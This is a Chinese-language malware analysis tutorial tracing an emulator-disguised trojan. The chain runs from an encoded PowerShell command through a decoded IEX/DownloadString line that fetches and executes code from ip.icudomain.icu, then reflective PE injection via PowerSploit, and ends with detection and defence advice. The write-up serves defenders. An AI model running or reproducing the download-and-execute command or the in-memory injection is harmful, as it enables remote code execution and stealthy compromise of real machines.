记一次对恶意软件的简单分析
字数 1941 2025-08-29 08:31:35

恶意软件分析教学:从PowerShell脚本到PE文件加载

1. 分析背景

本教学文档基于一次真实的恶意软件分析案例,涉及一个伪装成模拟器的恶意程序,该程序试图通过PowerShell执行恶意代码。我们将详细拆解分析过程,涵盖从初始检测到最终PE文件加载的完整链条。

2. 初始检测

分析起点是火绒安全软件检测到的可疑PowerShell执行行为:

powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBpAHAALgBpAGMAdQBkAG8AbQBhAGkAbgAuAGkAYwB1ACcAKQApAA==

2.1 参数解析

  • -ep bypass:绕过执行策略限制
  • -e:执行后面跟随的Base64编码命令

3. Base64解码分析

3.1 初始解码

首先对Base64字符串进行解码:

原始Base64:

SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBpAHAALgBpAGMAdQBkAG8AbQBhAGkAbgAuAGkAYwB1ACcAKQApAA==

解码后(十六进制):

49 45 58 20 28 28 6E 65 77 2D 6F 62 6A 65 63 74 20 6E 65 74 2E 77 65 62 63 6C 69 65 6E 74 29 2E 64 6F 77 6E 6C 6F 61 64 73 74 72 69 6E 67 28 27 68 74 74 70 3A 2F 2F 69 70 2E 69 63 75 64 6F 6D 61 69 6E 2E 69 63 75 27 29 29

去除无意义的00后转换为ASCII:

IEX ((new-object net.webclient).downloadstring('http://ip.icudomain.icu'))

3.2 命令解析

解码后的PowerShell命令执行以下操作:

  1. 创建System.Net.WebClient对象
  2. hxxp://ip.icudomain.icu下载字符串内容
  3. 使用IEX(Invoke-Expression)直接执行下载的内容

安全注意:这是一个典型的远程代码执行(RCE)模式,直接从互联网下载并执行代码,极其危险。

4. 域名分析

恶意域名:ip.icudomain.icu

解析记录检查:

  • 解析到Cloudflare CDN节点
  • 无法直接追踪真实IP(CDN的隐蔽性)

分析建议

  • 检查域名注册信息(WHOIS)
  • 查看历史解析记录
  • 检查是否有其他子域名

5. 第二阶段载荷分析

访问该URL获取到的内容(示例):

$PEBytes = [System.Convert]::FromBase64String('...base64 encoded PE file...')
$PEEXE = [System.Convert]::FromBase64String('...another base64 encoded PE file...')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs $PEEXE

5.1 载荷结构

  1. 两个Base64编码的PE文件:

    • 第一个PE文件($PEBytes
    • 第二个PE文件($PEEXE
  2. 使用Invoke-ReflectivePEInjection进行内存注入

5.2 Invoke-ReflectivePEInjection分析

这是一个知名的PowerShell内存注入工具,来自PowerSploit项目:

  • GitHub地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
  • 功能:将PE文件直接加载到内存中执行,不落盘

技术特点

  • 绕过传统杀毒软件的磁盘扫描
  • 无文件攻击(fileless attack)
  • 可注入DLL或EXE

6. PE文件分析

虽然原文未提供具体的PE文件分析,但我们可以推测:

  1. 第一个PE文件

    • 可能是Invoke-ReflectivePEInjection工具本身
    • 或者是加载器(loader)
  2. 第二个PE文件

    • 可能是实际的恶意载荷(后门/RAT等)
    • 功能可能包括:
      • 持久化
      • 命令控制
      • 数据窃取
      • 横向移动

7. 完整攻击链条

  1. 用户执行伪装成模拟器的恶意程序
  2. 恶意程序触发PowerShell脚本
  3. PowerShell下载并执行第一阶段载荷
  4. 第一阶段载荷从C2服务器获取两个PE文件
  5. 使用反射式注入技术在内存中加载执行PE文件
  6. 最终植入后门或执行其他恶意操作

8. 检测与防御建议

8.1 检测指标

  • IOC(失陷指标)

    • 域名:ip.icudomain.icu
    • PowerShell命令特征:-ep bypass -e + Base64
    • Invoke-ReflectivePEInjection的使用
  • 行为检测

    • 异常的PowerShell执行
    • 内存注入行为
    • 无文件攻击特征

8.2 防御措施

  1. PowerShell加固

    • 限制执行策略
    • 启用脚本块日志记录
    • 禁用不必要的功能
  2. 应用控制

    • 限制未知程序的执行
    • 使用白名单机制
  3. 内存保护

    • 启用防漏洞利用保护
    • 监控异常的内存操作
  4. 网络控制

    • 阻止可疑域名
    • 监控异常外连
  5. 终端防护

    • 启用行为检测
    • 使用EDR解决方案

9. 分析工具推荐

  1. 基础工具

    • Base64解码工具(CyberChef等)
    • PowerShell调试环境
    • WHOIS查询工具
  2. 进阶工具

    • PE分析工具(PEStudio、IDA Pro等)
    • 沙箱环境(Any.run、Hybrid Analysis等)
    • 网络流量分析工具(Wireshark等)
  3. 专业工具

    • 反汇编器/调试器(Ghidra、x64dbg等)
    • 内存分析工具(Volatility等)
    • 恶意软件分析沙箱(Cuckoo等)

10. 总结

本案例展示了一个典型的恶意软件攻击链条,从初始的PowerShell脚本执行到最终的内存注入。攻击者使用多层编码和反射加载技术来规避检测,强调了现代恶意软件的复杂性和隐蔽性。通过理解这些技术,安全人员可以更好地防御类似攻击。

恶意软件分析教学:从PowerShell脚本到PE文件加载 1. 分析背景 本教学文档基于一次真实的恶意软件分析案例,涉及一个伪装成模拟器的恶意程序,该程序试图通过PowerShell执行恶意代码。我们将详细拆解分析过程,涵盖从初始检测到最终PE文件加载的完整链条。 2. 初始检测 分析起点是火绒安全软件检测到的可疑PowerShell执行行为: 2.1 参数解析 -ep bypass :绕过执行策略限制 -e :执行后面跟随的Base64编码命令 3. Base64解码分析 3.1 初始解码 首先对Base64字符串进行解码: 原始Base64: 解码后(十六进制): 去除无意义的00后转换为ASCII: 3.2 命令解析 解码后的PowerShell命令执行以下操作: 创建 System.Net.WebClient 对象 从 hxxp://ip.icudomain.icu 下载字符串内容 使用 IEX (Invoke-Expression)直接执行下载的内容 安全注意 :这是一个典型的远程代码执行(RCE)模式,直接从互联网下载并执行代码,极其危险。 4. 域名分析 恶意域名: ip.icudomain.icu 解析记录检查: 解析到Cloudflare CDN节点 无法直接追踪真实IP(CDN的隐蔽性) 分析建议 : 检查域名注册信息(WHOIS) 查看历史解析记录 检查是否有其他子域名 5. 第二阶段载荷分析 访问该URL获取到的内容(示例): 5.1 载荷结构 两个Base64编码的PE文件: 第一个PE文件( $PEBytes ) 第二个PE文件( $PEEXE ) 使用 Invoke-ReflectivePEInjection 进行内存注入 5.2 Invoke-ReflectivePEInjection分析 这是一个知名的PowerShell内存注入工具,来自PowerSploit项目: GitHub地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1 功能:将PE文件直接加载到内存中执行,不落盘 技术特点 : 绕过传统杀毒软件的磁盘扫描 无文件攻击(fileless attack) 可注入DLL或EXE 6. PE文件分析 虽然原文未提供具体的PE文件分析,但我们可以推测: 第一个PE文件 : 可能是 Invoke-ReflectivePEInjection 工具本身 或者是加载器(loader) 第二个PE文件 : 可能是实际的恶意载荷(后门/RAT等) 功能可能包括: 持久化 命令控制 数据窃取 横向移动 7. 完整攻击链条 用户执行伪装成模拟器的恶意程序 恶意程序触发PowerShell脚本 PowerShell下载并执行第一阶段载荷 第一阶段载荷从C2服务器获取两个PE文件 使用反射式注入技术在内存中加载执行PE文件 最终植入后门或执行其他恶意操作 8. 检测与防御建议 8.1 检测指标 IOC(失陷指标) : 域名:ip.icudomain.icu PowerShell命令特征: -ep bypass -e + Base64 Invoke-ReflectivePEInjection 的使用 行为检测 : 异常的PowerShell执行 内存注入行为 无文件攻击特征 8.2 防御措施 PowerShell加固 : 限制执行策略 启用脚本块日志记录 禁用不必要的功能 应用控制 : 限制未知程序的执行 使用白名单机制 内存保护 : 启用防漏洞利用保护 监控异常的内存操作 网络控制 : 阻止可疑域名 监控异常外连 终端防护 : 启用行为检测 使用EDR解决方案 9. 分析工具推荐 基础工具 : Base64解码工具(CyberChef等) PowerShell调试环境 WHOIS查询工具 进阶工具 : PE分析工具(PEStudio、IDA Pro等) 沙箱环境(Any.run、Hybrid Analysis等) 网络流量分析工具(Wireshark等) 专业工具 : 反汇编器/调试器(Ghidra、x64dbg等) 内存分析工具(Volatility等) 恶意软件分析沙箱(Cuckoo等) 10. 总结 本案例展示了一个典型的恶意软件攻击链条,从初始的PowerShell脚本执行到最终的内存注入。攻击者使用多层编码和反射加载技术来规避检测,强调了现代恶意软件的复杂性和隐蔽性。通过理解这些技术,安全人员可以更好地防御类似攻击。